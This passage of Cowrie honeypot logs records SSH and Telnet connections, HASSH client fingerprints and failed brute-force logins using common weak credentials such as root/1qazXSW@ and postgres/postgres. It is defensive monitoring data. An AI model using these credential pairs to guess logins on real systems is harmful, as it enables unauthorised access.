client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:04.608224Z","src_ip":"192.109.200.78","session":"51278bc3d146","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:04.861151Z","src_ip":"192.109.200.78","session":"51278bc3d146","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:05.946404Z","src_ip":"192.109.200.78","session":"51278bc3d146","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":34582,"dst_ip":"159.203.135.109","dst_port":23,"session":"a611d99b39e0","protocol":"telnet","message":"New connection: 5.42.229.203:34582 (159.203.135.109:23) [session: a611d99b39e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:06.677180Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55230,"dst_ip":"10.17.0.5","dst_port":22,"session":"302d934396ab","protocol":"ssh","message":"New connection: 192.109.200.78:55230 (10.17.0.5:22) [session: 302d934396ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:08.705490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:08.710611Z","src_ip":"192.109.200.78","session":"302d934396ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34232,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f1b6a9dd74e","protocol":"ssh","message":"New connection: 159.203.92.129:34232 (159.203.135.109:22) [session: 5f1b6a9dd74e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:08.787691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:08.792256Z","src_ip":"159.203.92.129","session":"5f1b6a9dd74e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:08.797103Z","src_ip":"159.203.92.129","session":"5f1b6a9dd74e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@1739723w0rd","message":"login attempt [admin/P@1739723w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:08.815310Z","src_ip":"159.203.92.129","session":"5f1b6a9dd74e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:09.107948Z","src_ip":"192.109.200.78","session":"302d934396ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:09.359089Z","src_ip":"192.109.200.78","session":"302d934396ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:09.851496Z","src_ip":"159.203.92.129","session":"5f1b6a9dd74e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:10.444234Z","src_ip":"192.109.200.78","session":"302d934396ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55236,"dst_ip":"10.17.0.5","dst_port":22,"session":"d147f9ca4f14","protocol":"ssh","message":"New connection: 192.109.200.78:55236 (10.17.0.5:22) [session: d147f9ca4f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:12.756088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:12.761110Z","src_ip":"192.109.200.78","session":"d147f9ca4f14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:12.844639Z","src_ip":"192.109.200.78","session":"d147f9ca4f14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:13.255005Z","src_ip":"192.109.200.78","session":"d147f9ca4f14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:14.341325Z","src_ip":"192.109.200.78","session":"d147f9ca4f14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55258,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdbedb01acb0","protocol":"ssh","message":"New connection: 192.109.200.78:55258 (10.17.0.5:22) [session: bdbedb01acb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:17.127618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:17.133158Z","src_ip":"192.109.200.78","session":"bdbedb01acb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:17.223162Z","src_ip":"192.109.200.78","session":"bdbedb01acb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:17.470936Z","src_ip":"192.109.200.78","session":"bdbedb01acb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:18.556465Z","src_ip":"192.109.200.78","session":"bdbedb01acb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59458,"dst_ip":"10.17.0.5","dst_port":22,"session":"caa9a68973ad","protocol":"ssh","message":"New connection: 192.109.200.78:59458 (10.17.0.5:22) [session: caa9a68973ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:21.284639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:21.289643Z","src_ip":"192.109.200.78","session":"caa9a68973ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:21.464065Z","src_ip":"192.109.200.78","session":"caa9a68973ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:21.846933Z","src_ip":"192.109.200.78","session":"caa9a68973ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:22.937146Z","src_ip":"192.109.200.78","session":"caa9a68973ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59462,"dst_ip":"10.17.0.5","dst_port":22,"session":"6baac8ede23e","protocol":"ssh","message":"New connection: 192.109.200.78:59462 (10.17.0.5:22) [session: 6baac8ede23e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:25.616841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:25.620815Z","src_ip":"192.109.200.78","session":"6baac8ede23e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:25.704879Z","src_ip":"192.109.200.78","session":"6baac8ede23e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:25.955016Z","src_ip":"192.109.200.78","session":"6baac8ede23e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:27.128642Z","src_ip":"192.109.200.78","session":"6baac8ede23e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44892,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ef4f5b5bbb2","protocol":"ssh","message":"New connection: 192.109.200.78:44892 (10.17.0.5:22) [session: 3ef4f5b5bbb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:29.806492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:29.864897Z","src_ip":"192.109.200.78","session":"3ef4f5b5bbb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:29.902657Z","src_ip":"192.109.200.78","session":"3ef4f5b5bbb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb@1234","message":"login attempt [tidb/tidb@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:30.220979Z","src_ip":"192.109.200.78","session":"3ef4f5b5bbb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:31.306403Z","src_ip":"192.109.200.78","session":"3ef4f5b5bbb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44908,"dst_ip":"10.17.0.5","dst_port":22,"session":"794c55bf5d5b","protocol":"ssh","message":"New connection: 192.109.200.78:44908 (10.17.0.5:22) [session: 794c55bf5d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:34.893697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:34.898969Z","src_ip":"192.109.200.78","session":"794c55bf5d5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:34.987059Z","src_ip":"192.109.200.78","session":"794c55bf5d5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:35.399486Z","src_ip":"192.109.200.78","session":"794c55bf5d5b","protocol":"ssh"}
